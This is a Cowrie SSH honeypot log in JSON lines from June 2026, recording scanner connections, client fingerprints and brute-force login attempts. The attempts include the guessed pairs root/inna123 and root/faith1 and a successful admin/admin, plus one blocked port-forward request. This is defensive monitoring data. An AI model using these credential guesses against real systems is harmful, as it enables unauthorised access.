{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:58:56.525146Z","src_ip":"38.93.206.2","session":"d198ce788be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:58:56.578909Z","src_ip":"38.93.206.2","session":"d198ce788be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"inna123","message":"login attempt [root/inna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:58:56.732780Z","src_ip":"38.93.206.2","session":"d198ce788be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:58:57.784996Z","src_ip":"38.93.206.2","session":"d198ce788be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12626,"dst_ip":"10.17.0.5","dst_port":22,"session":"75a3de66979e","protocol":"ssh","message":"New connection: 87.251.64.176:12626 (10.17.0.5:22) [session: 75a3de66979e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:29.396106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:29.400390Z","src_ip":"87.251.64.176","session":"75a3de66979e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:29.493651Z","src_ip":"87.251.64.176","session":"75a3de66979e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:29.778005Z","src_ip":"87.251.64.176","session":"75a3de66979e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:29.874730Z","session":"75a3de66979e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:29.970760Z","src_ip":"87.251.64.176","session":"75a3de66979e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:30.070623Z","src_ip":"87.251.64.176","session":"75a3de66979e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.57063388824463,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:34.959607Z","src_ip":"172.81.62.90","session":"d60aadf0f478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.155.116","src_port":22686,"dst_ip":"10.17.0.5","dst_port":22,"session":"5189d4bbad6a","protocol":"ssh","message":"New connection: 34.38.155.116:22686 (10.17.0.5:22) [session: 5189d4bbad6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:43.048810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:43.130784Z","src_ip":"34.38.155.116","session":"5189d4bbad6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.155.116","src_port":22692,"dst_ip":"10.17.0.5","dst_port":22,"session":"698fe4e08bce","protocol":"ssh","message":"New connection: 34.38.155.116:22692 (10.17.0.5:22) [session: 698fe4e08bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:43.289846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:43.293187Z","src_ip":"34.38.155.116","session":"698fe4e08bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:43.372670Z","src_ip":"34.38.155.116","session":"698fe4e08bce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:44.356879Z","src_ip":"34.38.155.116","session":"698fe4e08bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:44.440140Z","src_ip":"34.38.155.116","session":"698fe4e08bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:44.442780Z","src_ip":"34.38.155.116","session":"5189d4bbad6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:45.430062Z","src_ip":"34.38.155.116","session":"5189d4bbad6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":51690,"dst_ip":"10.17.0.5","dst_port":22,"session":"a897712f85fe","protocol":"ssh","message":"New connection: 34.156.226.226:51690 (10.17.0.5:22) [session: a897712f85fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:49.385906Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:49.468373Z","src_ip":"34.156.226.226","session":"a897712f85fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42438,"dst_ip":"159.203.135.109","dst_port":22,"session":"814a36f8178d","protocol":"ssh","message":"New connection: 147.45.211.215:42438 (159.203.135.109:22) [session: 814a36f8178d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:50.331136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:50.334554Z","src_ip":"147.45.211.215","session":"814a36f8178d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:50.493791Z","src_ip":"147.45.211.215","session":"814a36f8178d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"faith1","message":"login attempt [root/faith1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:50.972553Z","src_ip":"147.45.211.215","session":"814a36f8178d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:59:52.134352Z","src_ip":"147.45.211.215","session":"814a36f8178d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":23996,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce6738df35c9","protocol":"ssh","message":"New connection: 34.156.226.226:23996 (10.17.0.5:22) [session: ce6738df35c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:07.319412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:07.354759Z","src_ip":"34.156.226.226","session":"ce6738df35c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:07.462178Z","src_ip":"34.156.226.226","session":"ce6738df35c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:07.474077Z","src_ip":"34.156.226.226","session":"ce6738df35c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":36620,"dst_ip":"10.17.0.5","dst_port":22,"session":"8679bcf36e7a","protocol":"ssh","message":"New connection: 34.156.226.226:36620 (10.17.0.5:22) [session: 8679bcf36e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:16.204114Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:16.341556Z","src_ip":"34.156.226.226","session":"8679bcf36e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:16.346163Z","src_ip":"34.156.226.226","session":"8679bcf36e7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":36636,"dst_ip":"10.17.0.5","dst_port":22,"session":"04e8962a3473","protocol":"ssh","message":"New connection: 34.156.226.226:36636 (10.17.0.5:22) [session: 04e8962a3473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:16.577133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:16.708367Z","src_ip":"34.156.226.226","session":"04e8962a3473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:16.786634Z","src_ip":"34.156.226.226","session":"04e8962a3473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:16.791873Z","src_ip":"34.156.226.226","session":"04e8962a3473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":36642,"dst_ip":"10.17.0.5","dst_port":22,"session":"c953fa2d8257","protocol":"ssh","message":"New connection: 34.156.226.226:36642 (10.17.0.5:22) [session: c953fa2d8257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:16.945477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:17.080022Z","src_ip":"34.156.226.226","session":"c953fa2d8257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:17.158901Z","src_ip":"34.156.226.226","session":"c953fa2d8257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:17.406180Z","src_ip":"34.156.226.226","session":"c953fa2d8257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":36656,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c96d9c86659","protocol":"ssh","message":"New connection: 34.156.226.226:36656 (10.17.0.5:22) [session: 8c96d9c86659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:17.485320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:17.620078Z","src_ip":"34.156.226.226","session":"8c96d9c86659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:17.698692Z","src_ip":"34.156.226.226","session":"8c96d9c86659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:17.941763Z","src_ip":"34.156.226.226","session":"8c96d9c86659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":36668,"dst_ip":"10.17.0.5","dst_port":22,"session":"57b35072e08e","protocol":"ssh","message":"New connection: 34.156.226.226:36668 (10.17.0.5:22) [session: 57b35072e08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.020310Z"}
